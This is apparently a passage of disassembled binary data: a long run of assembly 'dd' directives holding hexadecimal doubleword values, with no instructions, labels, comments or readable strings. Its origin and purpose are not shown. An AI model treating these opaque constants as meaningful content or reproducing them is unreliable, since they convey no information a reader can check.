		dd 0D371CE83h, 6C00EC55h, 0DAB26D3Bh, 5FE6A0Ah,	8451811Dh
		dd 0F31A80C6h, 61000637h
		dd 3F710464h, 41D513h, 0FDA8DBE9h, 0DF1019E3h, 0F27A5EFEh
		dd 600037E0h, 4B1DC365h, 88A870h, 456A69FEh, 0C1B347C7h
		dd 62983601h, 3A5D789h,	7A9060CCh, 8AC9002Dh, 0A7480264h
		dd 0A899449Ah, 17E2D180h, 0F867864Fh, 84A4995Fh, 6C8BE41Dh
		dd 911F0039h, 4324C625h, 30005EDh, 5BF70807h, 74B5954h
		dd 0E6567574h, 2C2816ABh, 0FA0997F8h, 94DCD8E4h, 1CC04890h
		dd 38BCAA00h, 0D56B815Eh, 0E1066C1Ch, 8F932540h, 9397E45h
		dd 0BFEE376Fh, 98DC1000h, 4D008CCEh, 5E3DE618h,	0E331D2h
		dd 487129CDh, 0C7BD967Fh, 0AA361E00h, 167BDAF3h, 5025074Dh
		dd 0A380D641h, 76A84666h, 0A524E9C7h, 0BD40708Bh, 663F9h
		dd 0F54148ACh, 4E9FE3C3h, 82804250h, 53943000h,	0A3DF0B3Eh
		dd 8DF300B3h, 5ED69C64h, 493CFE2Eh, 44DC25h, 23FBA902h
		dd 357199h, 6D2F61D1h, 0B8F4807Eh, 985DC028h, 36E4FA50h
		dd 0F8E70300h, 34051F3Fh, 726F129Ch, 6BB400B5h,	0E5ECD79Ah
		dd 7FDF8100h, 786815DCh, 0EAECEBA4h, 0C8A4A8h, 0FD3883F1h
		dd 1AB789E9h, 2AEF5A18h, 6C03B8h, 83541DF0h, 0B40432A5h
		dd 1B84638h, 0A4A7590Ah, 0FC41C65Eh, 0CAC4E260h, 0B8380297h
		dd 0D901443Ah, 0BD00DC96h, 5D387234h, 0FB37F0DBh, 38E71D0h
		dd 0E005F9B6h, 1D88FF6Ch, 0AF0735B9h, 6A9696Bh,	754000B9h
		dd 122A32FAh, 80146E96h, 0CEB33810h, 741E4A1Fh,	8EE56800h
		dd 7E224033h, 20E66002h, 15712879h, 0B10DF90Eh,	0BDDE836Ah
		dd 7AE08762h, 155DC30h,	0C6B8B0C5h, 400AB7EBh, 159CC1B8h
		dd 66FD5100h, 739DEDA2h, 78EE00C3h, 8CFB6A44h, 6F001FD0h
		dd 6B186826h, 1F670E2Ah, 0A41384C9h, 0E129800Ch, 0D0EEBEB5h
		dd 0A3703507h, 0D140A523h, 128C90C0h, 608BBCC4h, 16E81304h
		dd 12E5A900h, 5A65B289h, 0B4581479h, 9D00E431h,	546C69F8h
		dd 0F0047F5h, 9375EC9Eh, 91F90415h, 0A0420104h,	36560997h
		dd 570108CCh, 7FB640B4h, 40BB20DFh, 55C5C280h, 2CEF6C1Ch
		dd 0E005295h, 0DBE0FC35h, 0F9F014B0h, 1AD1B400h, 0C7F2377Eh
		dd 0CB4A07D5h, 0F0637566h, 0A5C4C0ECh, 4D8D2901h, 19AC0390h
		dd 8F006077h, 0FCAFEF3Ch, 8D4E0979h, 3A0E28ACh,	0C680677Bh
		dd 80B6C99Eh, 73827100h, 0FBEF57B5h, 16761D1Bh,	2A1540EAh
		dd 0F0C3DE5h, 0A7AD7D01h, 1C01737Eh, 0DB73B06Bh, 0C6980200h
		dd 0AA6AB8F8h, 622600F9h, 0A5BDEFBh, 403378Bh, 51DC5379h
		dd 0AE22A8B8h, 0BAC800E0h, 0DA5B845Dh, 6031620Dh, 7D3A0FDh
		dd 971EE8h, 54C920CAh, 0CDAA6323h, 8CDED900h, 6235FE10h
		dd 0BCEA0Eh, 25772C34h,	81ED1536h, 7882EA04h, 8F80288Bh
		dd 7DA62071h, 0CE250357h, 0CB6AC45Ch, 0F6E1A990h, 0D9E00F00h
		dd 76F751DDh, 38A80E6Fh, 9B83A0FEh, 1DB89CEEh, 0E3009460h
		dd 146B527Dh, 6A35CCh, 21A69296h, 4A0C974Fh, 4D615A00h
		dd 3D63CF7Bh, 0C91B0314h, 6D856A19h, 5FF14CD0h,	93000490h
		dd 2362892Fh, 6C328Ah, 6660F90h, 8BB6B90Ch, 5863A00h, 98A23F47h
		dd 1680049h, 0C01B9B53h, 4E00429Fh, 931AF6B5h, 4DB2FAh
		dd 3DD7CF0h, 4C6FE782h,	31EAFE00h, 68025ACCh, 7D0600BAh
		dd 2BB85059h, 0B00C071h, 1A52FDDDh, 0BCA081Fh, 0C34A6D3Ch
		dd 8A00DD8Bh, 5481D29Dh, 0CFD39600h, 393D941Ch,	0FBC03A2h
		dd 6051D4B0h, 2DDDC900h, 72CD941Dh, 0CEDE3AA2h,	2E273E00h
		dd 0F0463B81h, 0C5036378h, 0BDD8FC73h, 97A9A0FDh, 34031362h
		dd 31BC005Ah, 0BB72C046h, 52B65700h, 0AB1610A3h, 23010430h
		dd 0C1C3D6F0h, 0F88E2562h, 74F0CB39h, 20660B28h, 0C422800Eh
		dd 6523009Eh, 36B4BF3Bh, 0A96892B0h, 0E4610700h, 79D7C156h
		dd 42A300D8h, 32ECD2E5h, 7412CD18h, 1400A690h, 4C4A6E4Dh
		dd 6E405F9h, 0C0D8AAA9h, 638B2C61h, 261E9FFCh, 0E84F461Dh
		dd 7E8E007Ah, 0F1A32Eh,	70F94EF0h, 0E0C805BEh, 23DB1D50h
		dd 0AE011898h, 9DEC5E51h, 0CFCC71F0h, 49F70E3Bh, 0D7226BE2h
		dd 53607AEEh, 0E81F3097h, 6F8068CAh, 74BF78A1h,	0B01300C2h
		dd 2CD84084h, 6CE253C7h, 550E5801h, 74525B4h, 4BB7F03Bh
		dd 0B076DA00h, 0E1DCF77Bh, 5BDB019Fh, 0F06D54A1h, 46B8FF57h
		dd 9907E92Fh, 0D2A06E62h, 0CA3D4841h, 0A12DE4h,	0F3CC9C05h
		dd 0E93489D4h, 1B0FC5Ch, 2B0A1D09h, 87F0EDAEh, 787042h
		dd 0CB3629DCh, 47E99419h, 0FC5E6000h, 7D9EDAA7h, 0BAA90037h
		dd 81FE0307h, 0ED037804h, 0D2A78327h, 0C4B4A8A2h, 69CA00EEh
		dd 0AC21D39Fh, 0A5009422h, 711CCCDCh, 0A04DFECDh, 0BE9A3E0h
		dd 0D9FBFC85h, 0C13F59F0h, 0B200F1CEh, 608FD295h, 162DA0DBh
		dd 18C0780Ah, 8CA4388Ch, 99E61F00h, 16BD4AC1h, 0FA420050h
		dd 0AD3D8A06h, 9E00943Bh, 0F6619B80h, 7DB61Bh, 23C0DD4Ch
		dd 178F0778h, 7C492B00h, 0A7253C0Bh, 76A3008Bh,	1CB9F831h
		dd 173BA6D0h, 0A2530033h, 41D74667h, 90B0EB1h, 48A080A9h
		dd 6F311292h, 72BB201h,	288E5122h, 9FAA20h, 0D1A55217h
		dd 0FA6D1179h, 0DA92D500h, 5A612E1Dh, 6C44007Eh, 0A085EBBFh
		dd 4B0FFFEFh, 0A0D00C62h, 6AB35C72h, 0FA4107D6h, 5E671D66h
		dd 224DDAE3h, 314AB907h, 96A05A4Fh, 66BE46h, 2CE8FE84h
		dd 7A869A53h, 8A601900h, 0FD5DDFCh, 704F00FBh, 5ABFB77Bh
		dd 0F8079498h, 0C1D2ABBEh, 15AC8B80h, 0C8330753h, 7EF71E42h
		dd 0EEA5B40h, 3600B16Fh, 0FC20BE8Eh, 1F69A694h,	57CDB67h
		dd 0C15A1EABh, 80E77AF2h, 11AFC87Eh, 0DE6022h, 0CDF56756h
		dd 57CE10B9h, 7AFB30C0h, 7EACCCh, 85771805h, 0D0556956h
		dd 200D51CEh, 0E597FFC6h, 139E00BBh, 0B3B738ADh, 0E10080E0h
		dd 498AF1CDh, 0CB2D5C8h, 6E476727h, 0ECFE7E10h,	0B98C7D00h
		dd 0A191500Ah, 7C30028h, 1B80C1EBh, 9E005948h, 0CB7F992Eh
		dd 523355h, 794A1127h, 909BC372h, 0B10018ECh, 0A3FAA0EDh
		dd 6901ECh, 0F1729C8Bh,	0ABFB7CC4h, 0F51B580Fh,	0E8D200EEh
		dd 4CA1B751h, 200F5452h, 0E3073B64h, 0C257E04Ah, 73241E55h
		dd 183A3913h, 7A303C94h, 65102DB3h, 0DCC98B40h,	7D04890Ch
		dd 2D41F8h, 0F5269B42h,	18EB24F4h, 7100D7F8h, 0B45C3A67h
		dd 7CBCCA2Fh, 69E319C7h, 0D4FC20C5h, 44008C3Eh,	49CE5C60h
		dd 0FA107DEh, 0F00AA556h, 75D11DA0h, 0E000D608h, 43B750F5h
		dd 18163464h, 496E7717h, 7006C2Dh, 0DEEC50D7h, 0DF24C6h
		dd 7242F204h, 26E7D2A9h, 0CF290101h, 315CB954h,	0E834E8h
		dd 6728062Eh, 0F5D9E5F4h, 78C93B17h, 55B9CA00h,	1E545DC2h
		dd 989F8F98h, 0ACD9BA4Eh, 0B0C67602h, 0C0BE3F7Dh, 3E154058h
		dd 9900C970h, 0D6CEFF43h, 5AC0CD10h, 333D8F8Ah,	1C720149h
		dd 8CFF3AF4h, 44E3E0BBh, 3ED7E04Ch, 0AD33038Ah,	0B0AA3432h
		dd 727925Ch, 0C31D9EF8h, 29EC8097h, 471674A7h, 0CA015155h
		dd 0CFA49B2Bh, 41E770h,	3E131F1Bh, 9FBABB26h, 55A52E00h
		dd 1267A32Ah, 0B02500F5h, 0E2FA0C45h, 41D4F92h,	0A2CE19BFh
		dd 11090043h, 0F84CD13Ah, 59F90053h, 8444FA3h, 3F0C0712h
		dd 11B23821h, 0B90A0031h, 63A16419h, 0CB3BFDA2h, 76B503B0h
		dd 201057h, 873F92FEh, 698B7D47h, 2BB9B400h, 8FC73B77h
		dd 3D2B053h, 0BAB275E0h, 88004012h, 0DA913CFEh,	3E373EADh
		dd 0FF2EE6h, 0F4BDFABh,	77B62FC7h, 70DD8D00h, 0D9B3D654h
		dd 0B44F0053h, 9D1F987Bh, 6B0026CEh, 8B2B569Ah,	3B84D1A4h
		dd 63808A59h
		dd 4883341Eh, 0A00C988Eh, 5E507276h, 4BA300EBh,	203B36FAh
		dd 3AE8B837h, 859CB539h, 89BBF04Ch, 2C102380h, 15770783h
		dd 40B6807Eh, 0F40C5276h, 85C2F107h, 0A0F0AAABh, 90B78C6h
		dd 0B2980D90h, 0B56C7880h, 403C7D6h, 8036C31Ch,	0A63BE86Bh
		dd 82AC037Fh, 0E402CCCEh, 6554B688h, 20861007h,	0ACBB7FEh
		dd 4B000643h, 0F42E9309h, 0E653EA08h, 2A313D8Eh, 0F1580074h
		dd 3C7CE31Eh, 100E64C4h, 204F0A4Eh, 0FCA8B346h,	16D71AAh
		dd 8CC9BA78h, 0F087CB64h, 0A70009E6h, 54AB496Bh, 19362BEh
		dd 1840F4EFh, 601F2D8Ah, 7700A010h, 69B6FCC3h, 18B8FB5h
		dd 8D2CC4B8h, 0CCA9F3D4h, 0C700F8A2h, 0A0016358h, 7F31D7C2h
		dd 0DF8BF51h, 440071FCh, 629621F0h, 9BFE1Dh, 0BE6E8032h
		dd 0CC46CFCDh, 71F08560h, 0ACF30Fh, 2A51AD5Bh, 3AF2867Fh
		dd 4EE2D900h, 0B6B8D46Bh, 0A3E41D9Fh, 0E1644011h, 0ADEB0BC1h
		dd 773BBD1Dh, 0E93E5C83h, 8627908Dh, 8E863CBh, 2000F8FAh
		dd 2D507B2Bh, 9351ECh, 52234C65h, 0C02F6674h, 7B948D00h
		dd 8C4E977Eh, 17E41673h, 8A120968h, 0B5498103h,	0E85A09B9h
		dd 0AD009EC8h, 0BA3BC1D9h, 3C03E6h, 0F0FB6B77h,	0F811438h
		dd 99955537h, 0CED4FFC0h, 7129032Eh, 74F578B3h,	0BEB95800h
		dd 8DEBA583h, 7B950767h, 0B04C3C28h, 0DF1535Ah,	0B97A6800h
		dd 71866D01h, 0EE50036Eh, 8828FB3Ch, 0DC6FD9D8h, 8D10D100h
		dd 0A8A57DCBh, 58F0214h, 5E75C293h, 9127A160h, 0DBC58000h
		dd 0A4AA3096h, 480C0394h, 0CCB43F58h, 8C69E600h, 11DA88D0h
		dd 0D88900F7h, 9ACDD61Ch, 0C600B044h, 73FA4F3Ah, 28AB48h
		dd 4A1AC5E5h, 0EED971A2h, 0BA1C90B8h, 27001EF2h, 995DF513h
		dd 35AC017Bh, 38FCC7EFh, 0D15E0B0h, 44861F1Fh, 0B1A7CB03h
		dd 0E4CD894Ch, 0E487B6E4h, 6E100196h, 882770D6h, 4FCEC0F0h
		dd 84EF3000h, 0E2DB1711h, 0A81900FDh, 59A569B4h, 0EC003E51h
		dd 0BEA36673h, 5F268Fh,	4B1A88Ch, 19C2D752h, 83379301h
		dd 0D602C11Dh, 8286ECh,	905CDD68h, 0D5E7F914h, 8B673Eh
		dd 0FB54F108h, 0F3D063h, 25C44634h, 0D3A9B4DEh,	5A51A000h
		dd 6BCB2796h, 4E90C116h, 7092C1E3h, 5EE84D17h, 0CC0C8C00h
		dd 70A960D8h, 4F741C1Ah, 18169677h, 6C0AD96Ch, 0AF7B3DFEh
		dd 9F78A750h, 3A79EA18h, 0ABEA0h, 85257844h, 0C4B00F2Fh
		dd 7D744E78h, 5873F035h, 589E1E0Ch, 32A4252h, 18A29221h
		dd 1071DAA7h, 0EF061CB1h, 5DF6BE85h, 4358C018h,	784D9AB7h
		dd 0EA44B171h, 8CBE4F3h, 290EA142h, 58022D45h, 2031CF4Eh
		dd 4DC2F365h, 5C12BE14h, 0C4971E2Ch, 0B46528E0h, 82BE658h
		dd 6AA118BDh, 0A360E46Eh, 67848A0Ah, 3B3A425h, 0A47F2DEh
		dd 69451359h, 0C5990884h, 0DE5D6603h, 719078E3h, 5AE0081h
		dd 0C3ED9A07h, 0D0781CD9h, 0D3BC8F05h, 0DC00E3C4h, 0E2899267h
		dd 0B794A0B5h, 283B0649h, 48C5BC87h, 0E1006EEEh, 0A444ED39h
		dd 0FE46ABF9h, 7E3200BFh, 227B0FC8h, 743C7D07h,	9909F02h
		dd 43B63700h, 0FE04BCh,	21DFB8ACh, 0AA70FB5Fh, 0F23DB4B8h
		dd 2736804Fh, 7C6A4E63h, 0A3AE0099h, 23A50B96h,	181D85C1h
		dd 1BC04B5Dh, 0EAB91A3Ah, 34FD1F97h, 109F66h, 92838BBAh
		dd 700A145h, 0FCF8E5DDh, 0C71FC2h, 0F5E27087h, 2D450565h
		dd 0F6F25A1Ch, 0FB1DC500h, 72946Dh, 11A817A0h, 0E8A6F52h
		dd 8227DE00h, 0C162F8FDh, 0E34F0072h, 0F2A36153h, 79F437E4h
		dd 6B7A351Ch, 6501DF6Eh, 0DEBD40DAh, 8561D8h, 79B30773h
		dd 932582EEh, 4BA60900h, 465B2C1Ah, 8C1E3FB9h, 0B57EC480h
		dd 2EBB63Dh, 8E503Fh, 136C37BDh, 348BA4h, 279E4322h, 5ACD3D6Fh
		dd 53FA6000h, 6C2A0724h, 0BEF701E8h, 52CCABDBh,	0ACD6F40Fh
		dd 0E78DD900h, 0D2448CF4h, 1D3AF64Dh, 492CF99Fh, 6F89924Eh
		dd 1A70BD09h, 1A3B130Eh, 73DE607Dh, 78B39B81h, 237B0C86h
		dd 6B286980h, 0BDEC0A28h, 0DF3CBD18h, 408A2728h, 4603DD01h
		dd 375C03B7h, 0B9510F2Ch, 81E78DF3h, 7F293C43h,	8E0C738h
		dd 8C64035Ch, 0F79700Ah, 2298961h, 4F01ADD1h, 258B1028h
		dd 85AB80DDh, 93C1F98Bh, 1326DB01h, 22A19ECEh, 89026E77h
		dd 5BFEA48Ah, 933C83E7h, 0A051756Bh, 0C418F83Ch, 2D3329h
		dd 99344CD2h, 5F73004Dh, 0C963DB24h, 0A60086A3h, 0DDB5C638h
		dd 1B1E9BCh, 8C0AE1A1h,	35A5EA0Dh, 8BACC4CEh, 0CC741600h
		dd 0BD62E27Ah, 0E9F10020h, 783A7347h, 7F00FA9Bh, 4CA1AB38h
		dd 73FFCh, 9A18BA2Fh, 5396291h,	2E1C7F00h, 0A28D825Ah
		dd 66B316C7h, 751CEA4Ch, 7EF9E8C3h, 0D513F893h,	0ED742Dh
		dd 11853A41h, 0B14C64E5h, 19007377h, 8F9E78D8h,	7E497517h
		dd 36EF00DAh, 61EBB4Eh,	5F0B530Ch, 806A0438h, 847E14B9h
		dd 79B0B67h, 47801FC7h,	31D8CDE9h, 87009372h, 2D9D8E6Ch
		dd 1803A958h, 50E111F7h, 950FB7EEh, 0DFA3495Dh,	0F1D9ED40h
		dd 3F0C9D8h, 0E884C776h, 8AF8CCB6h, 16002D60h, 0FCA69044h
		dd 3F235Dh, 7E3DE92Fh, 0BE1F2AB1h, 61FF3907h, 0A0CEC2B0h
		dd 20939FBFh, 0D75C5h, 3610F7BBh, 7A78FA11h, 4587B200h
		dd 47CC1EF5h, 71B80977h, 8880E156h, 63BF480Bh, 8CC18818h
		dd 959780h, 29E02019h, 0F861336Bh, 0A5FD1207h, 0B9A3AF5Eh
		dd 0A739F9C2h, 4DF01083h, 0F4A023B0h, 0BC001CBDh, 0EBE2228Ah
		dd 145D2F65h, 0CF3DFA46h, 87FE1Fh, 0F4528A4Ah, 530335D8h
		dd 133909E8h, 0E0EAF33Ah, 39C848Fh, 0EFA40D85h,	3DB7F59h
		dd 0AB78C7F0h, 34662A2Eh, 0D07EE007h, 5B7FE06Eh, 140F44h
		dd 0D6428952h, 0EA9B0EE7h, 70FE3500h, 0E0B2CE81h, 0B3340014h
		dd 955BD25Fh, 0D17BF6E5h, 429E4400h, 7A4EF355h,	72C70025h
		dd 48A428E8h, 0CF043A43h, 7DDE06E1h, 1E694490h,	38900358h
		dd 0B4ACF2B3h, 13C2BA88h, 1974F401h, 85704A0Bh,	94E0CF0h
		dd 0D0780967h, 0C2FF6C00h, 860096A5h, 1156611Bh, 5832938Bh
		dd 3763B34h, 28D66D99h,	17C0196Bh, 97009D09h, 0B8C83C83h
		dd 4A658Dh, 6D62CEEAh, 961971E4h, 3C339F01h, 0C7EB987Ch
		dd 0ECB6CCh, 0ABDECD13h, 0F4A4F284h, 4DD84700h,	7037725Ch
		dd 7A4B1F6Bh, 40B06454h, 79CB909Dh, 0F6871A00h,	760371Eh
		dd 0B46800D9h, 0AF03EEDEh, 102C2BCBh, 23037C54h, 0D86B0E75h
		dd 0F2FDFEh, 6C72ED8h, 5191C533h, 27AB4C03h, 0B0698BB6h
		dd 0DCCB22h, 722399B4h,	0A8802DD7h, 3C20AD3Fh, 8C528026h
		dd 31433FE2h, 51CAB86Dh, 2083D498h, 0A961F244h,	285654F0h
		dd 7B482700h, 0AAF71D81h, 1EE05ECh, 204A2482h, 94CD03CCh
		dd 0B17C801h, 1BC40862h, 51F2EC40h, 57F80EC6h, 9F9F6F98h
		dd 183E003Fh, 50328C1Ah, 80106938h, 0B741BB75h,	0B0E2DBF8h
		dd 39E40008h, 56B4A8B1h, 4B0028F7h, 0C676D038h,	31F309h
		dd 220089Dh, 2CA6E445h,	5B254800h, 0EBB70A24h, 0E2F80095h
		dd 0B8D9D03Ah, 0EA000263h, 0BB24DBBCh, 14DC80D2h, 0B0B35E74h
		dd 62353380h, 15006106h, 1F0E2E37h, 0EDD5DDFh, 4F0149D1h
		dd 55C7B0EFh, 0A35030C4h, 11006AADh, 69D73977h,	0FAC91E4h
		dd 330EEC2Fh, 170FC4E0h, 0C00EB46h, 1BDECF23h, 3AB58480h
		dd 21804E40h, 7837DF66h, 0FF05702Ch, 0DDFE976Eh, 13F5F780h
		dd 0C9491F76h, 0D76000A2h, 3420980h, 5966E300h,	738F84EAh
		dd 48DD0046h, 0A64BFD98h, 38FE78CCh, 0ED6D350Eh, 27F9C3F1h
		dd 6FC0954Eh
		dd 6F4352h, 0DA67EE5h, 99AFC582h, 91BD3E01h, 0B3315B97h
		dd 0F987B30h, 3B89F0CCh, 0C7A10665h, 0B66A80h, 85CD4FB8h
		dd 0C3002DE8h, 4353AF24h, 0F7B4C7h, 0A2F0B3ABh,	33F8B23Ah
		dd 81058400h, 5D8E209Fh, 0EB39007Ch, 2889CC78h,	0FC0154FFh
		dd 0E518349h, 23C8F42Dh, 3A3E903Dh, 0DC00E941h,	0C748689Dh
		dd 4C00FBDEh, 0BADF8281h, 240B22h, 1118F41Dh, 8DE10C74h
		dd 144C2C79h, 5CBC00B8h, 0B56C0480h, 0F9FB00A5h, 29CBF2B1h
		dd 0C3030B8Bh, 0CC0A2676h, 0EAB4C8D2h, 7EE71F1Fh, 1A1BC0E3h
		dd 3F221C3Ch, 40E59225h, 0C6613Bh, 50357495h, 1BA85AF1h
		dd 0A2DE4A00h, 5C644204h, 0EED7033h, 6BB9F80Fh,	0CD295B40h
		dd 0D0051C4h, 31F22B5Dh, 2803E4CCh, 0CD3E4Fh, 7D241204h
		dd 0DB520E5Eh, 89292000h, 1B19E3EDh, 482DF275h,	0D90EBA86h
		dd 8860A7BBh, 3A9DF880h, 7C223900h, 0B11931AAh,	5BFCDEh
		dd 0A035B80Bh, 4059834Bh, 9DD6490Fh, 0E33EC0FBh, 16E1016h
		dd 0C007B065h, 0FC2C8067h, 0DD009FF1h, 0F3CBE4B8h, 43D6Bh
		dd 5ADE3550h, 2B62CC32h, 7CB72000h, 3F70D14Eh, 99DC6024h
		dd 2A73ED6Ah, 6CF88A01h, 1E709D99h, 0E2C3C0E6h,	77820102h
		dd 89370330h, 7C32D822h, 353BE107h, 21101207h, 0EBC5Fh
		dd 681D1429h, 69E62057h, 0EA3FCC00h, 5BA13D0Bh,	0DC4A00F0h
		dd 0BF2BA524h, 9C00F3D7h, 0E095871Ch, 0D6AAE3h,	4B9896A8h
		dd 0BF928371h, 4222F600h, 739F2A44h, 4A840062h,	360E1A55h
		dd 9E0056CCh, 0D3C53F7Eh, 1CAA5771h, 0CE5D5190h, 1720A942h
		dd 0CCB18325h, 0F734CB02h, 0E0FFD7E4h, 5F50F1h,	0FE0A0E85h
		dd 0A4A6366Dh, 176A7600h, 0AB01942Ah, 0EB4112AEh, 1AC1F42h
		dd 0F1FD953Fh, 0E392C43Ch, 0F77D7801h, 5A9984D6h, 151FC8h
		dd 79E0C30h, 1E4DE0FFh,	1F89D52Eh, 2078F10Fh, 79E39CB1h
		dd 3F62F264h, 0CD3A3A17h, 152ADC83h, 1AF40C6h, 20AF3CEEh
		dd 0BA58311Ah, 4E1707DCh, 23F00511h, 101D38Dh, 29388978h
		dd 0C4CBE664h, 56001A7Eh, 6442D77h, 38CB250h, 0DA1D19B7h
		dd 0F28F6EDBh, 84042EAh, 730F9423h, 0E09F77A2h,	859A4BADh
		dd 0E17F24h, 0A776FEC7h, 0E9304A12h, 17432507h,	828050C2h
		dd 0F24510F5h, 71DB00A3h, 5EEDF38Fh, 12005A74h,	0B384C8CEh
		dd 90C14Ah, 0F3C6A24Dh,	0CDF9EEFh, 0CBA44450h, 0E247AF00h
		dd 9C56FFC9h, 154EAFDh,	0EADDC02Ch, 7042DEABh, 0E3074CD8h
		dd 5F4766FCh, 8C177EC0h, 829B004Ah, 0A6B9F455h,	4300B8F0h
		dd 0AE993AD6h, 281716E5h, 0E3B71Eh, 25F8188Ch, 2E7CA9A8h
		dd 63EC1100h, 2A333AFFh, 4684004Dh, 0A0B556Ah, 2900231Eh
		dd 9EB9F5DCh, 24266D8Ah, 758938h, 1A81C779h, 4D18B5BAh
		dd 905441E8h, 0D6C83F4Fh, 691BAF80h, 0D7338847h, 9EE7EF0Eh
		dd 0D5CA80BAh, 863501h,	7E40840Fh, 296B15A7h, 0E3B72C02h
		dd 803419D0h, 5A56AEACh, 2B018775h, 0C6D4B60Ch,	0E488A960h
		dd 518C0E21h, 0C7803C0Ah, 875660Dh, 3994F405h, 0C001D620h
		dd 0B9FFD368h, 70E4DF8h, 0DAAD6A82h, 0B436A008h, 37B02A96h
		dd 5DED9C00h, 0EEF646A7h, 0AF9000BFh, 7C6FB2C9h, 4100FDD8h
		dd 33CF6D91h, 485482h, 347BB3D3h, 2178E25Bh, 3602C000h
		dd 0A493C7E8h, 313707EBh, 60CF04D8h, 974587B6h,	430A148h
		dd 8EBD96FCh, 0D44400EEh, 0FF2723Ch, 0D7203Ah, 29ED2FB5h
		dd 0F005F9h, 927DD660h,	3B9B046Bh, 9C33A000h, 0F18E7F52h
		dd 0F43C00C9h, 0A6158B62h, 21024EF9h, 4D9AA70Ch, 8DD480A9h
		dd 0C877AEh, 0E8AB489Bh, 98DDE5EBh, 3036A807h, 1A108F8Bh
		dd 84432Fh, 0FC01E176h,	1DC9EBB9h, 63B3CD00h, 6E79787Eh
		dd 0A04000ABh, 0C2DD3103h, 0BE00F1D8h, 3FB9344Ch, 0BB7BFAh
		dd 0BCB216A1h, 8ED1E7F5h, 6C83EF00h, 0E803F226h, 1B07009Fh
		dd 74786A9Eh, 0C400779Ch, 15702135h, 3E90A91h, 34C59B01h
		dd 0BD806F59h, 0E838A7D2h, 0A1F000A0h, 801CFCBEh, 189001B2h
		dd 0D26FC07Bh, 0C94FE448h, 25FA6707h, 0F2009CA2h, 3A883197h
		dd 46008A66h, 186C0AAFh, 0F50042FFh, 6AA6371Eh,	0B2C78Dh
		dd 0A9E59DEh, 0EF012060h, 13637507h, 3F08838h, 0DB74ECh
		dd 6DCAA21Eh, 0C52FC6FFh, 0C00AA2B0h, 0FC541F68h, 29828C3Ah
		dd 0E54013h, 33374120h,	9B3DD326h, 1A00E071h, 0FF2C97B5h
		dd 0E50A07h, 0DCB4281Dh, 1E274FA3h, 166DAD00h, 5CF25C7h
		dd 0C6A100F5h, 5B9A2456h, 87FE5F08h, 7D3ED0B7h,	3B9013h
		dd 1A4B05ABh, 4D35AA6Eh, 965C0900h, 0A9B2B825h,	8EF71D79h
		dd 361283FBh, 2D80D52h,	0D80E39F8h, 1E15A21Dh, 9F7E7480h
		dd 7708FE51h, 162B5C57h, 0CFEA8902h, 4AE068B8h,	14002732h
		dd 0A24E2187h, 28E122h,	0FC2FA393h, 64164324h, 0C294C300h
		dd 3DC480F4h, 0DEFB0007h, 0A5CE4BBFh, 29901201h, 0EFA70200h
		dd 0E71845Eh, 0C06A01B8h, 5AA64DAh, 0F7DD458h, 67743E09h
		dd 0E85C02F4h, 8DC806Fh, 148E9B98h, 89149C0Bh, 3F3F8D24h
		dd 1E901800h, 0E83C55CDh, 41039E2Eh, 87C63A39h,	0F41A740Eh
		dd 0AB644E0h, 84F80742h, 0B0794A9Dh, 0C02076BAh, 41D67B00h
		dd 0D32AC585h, 0DCB200CDh, 0B7547EC6h, 0B800CE3Dh, 0AFE5FAA0h
		dd 2EF554Fh, 0C1FC078Bh, 61437091h, 1634C80Eh, 0BA01F069h
		dd 4FC0B117h, 2A1A30EFh, 4E00E7E2h, 0E565499Ah,	7DC2155h
		dd 0A6847E8Ch, 800C29B5h, 8B78FD30h, 0FF90A071h, 76FBD500h
		dd 0AF63706Eh, 87F9007Dh, 0C0513D9Eh, 370057C4h, 244F2DD6h
		dd 0F9DA8E5h, 0B2A1EF26h, 6F1BD9E0h, 6300F299h,	0E6A9D328h
		dd 38B7DBh, 0CC062A9Ah,	4E47711Eh, 36E7F00h, 7C02D32Ch
		dd 63AF0067h, 9528D6A5h, 0A3003369h, 3101722Dh,	3796C0h
		dd 13A432E5h, 0BA8CFE09h, 1EC68B01h, 213EF9E2h,	4A52D8F8h
		dd 0D4ACF2h, 0B4731198h, 0FA256h, 5D3B9248h, 54B1B2EAh
		dd 3ECB3D00h, 0D67C974Dh, 0A3400072h, 8B7D06F6h, 3C005FBAh
		dd 0B6366AF5h, 88D359h,	99642F35h, 10B876B2h, 5F0085F6h
		dd 5775C1E3h, 48B538h, 1AC73F78h, 0E9180CFDh, 4CA33200h
		dd 0B26CDD09h, 0B4F150ACh, 0FEBD002Ch, 0DFFA43A4h, 2009FEFh
		dd 7EB5CAC1h, 38A82468h, 1E806777h, 78A2DD53h, 0C371CC59h
		dd 4AF4A900h, 694EA592h, 3D180019h, 0B7881285h,	0C60F8152h
		dd 0A048F7FCh, 8D9795B6h, 7FE900D1h, 0AFE081Ah,	8400C90Ch
		dd 6E9B657Eh, 364CAEDh,	5370B722h, 0EBA05D92h, 2707F8A1h
		dd 79021744h, 0FACC3DB0h, 780E1D3Fh, 32EC73h, 84EBD74Ah
		dd 0A11DFD5Eh, 0FD25D3h, 0BEDAE03Ah, 0A313F5h, 78502A29h
		dd 0AC54E3D2h, 83A6FB00h, 43B5EDE7h, 0FDD50019h, 5AF6569Ah
		dd 927D3460h, 0C8F44C2Ch, 9D0C4800h, 11891Fh, 2179C469h
		dd 0FDA8B476h, 224C4700h, 6629D4F1h, 9BAE0B32h,	5C8027B0h
		dd 17A85BB8h, 59BC7701h, 0F0C518CAh, 14544530h,	0C0400CC9h
		dd 4628D200h, 1ED9A590h, 7DEC8C00h, 0C2D09732h,	5DC0244h
		dd 3326E812h, 911DED40h, 0B6CFBE00h, 0FF21AC37h, 92EB00FEh
		dd 0A68FC523h, 5D5AA940h, 0A20071E8h, 7362386Dh, 822C984Fh
		dd 4800FCE3h, 177BF85Ch, 0F2B071Bh, 40BE59E7h, 84BCC781h
		dd 0F4CA6C00h, 8F7D9A7Eh, 6375CBh, 663357A0h, 5580E7C2h
		dd 0A705FA02h, 600798D0h, 0B61774Ch, 0D808118Fh, 0D6EAB200h
		dd 5B7E720Dh, 753BAB05h, 0ECC03EB4h, 0B14F64h, 0F2AC7C68h
		dd 393A7BE3h, 2CF56109h
		dd 24B674A9h, 38AF00E1h, 7E8ADAF1h, 0A10EA300h,	210487FFh
		dd 0AC8D0BE0h, 74809762h, 5356349Fh, 323F3100h,	0AB19CE12h
		dd 0EA550030h, 37C2D554h, 717582BAh, 0B60040F2h, 8EF85264h
		dd 946D7F7h, 2B32081Fh,	62F67C8Dh, 128F16B0h, 2256FE00h
		dd 0F047B6h, 0FBF41611h, 0EEC1DB6Ah, 0FD0BFE00h, 1DE49DE6h
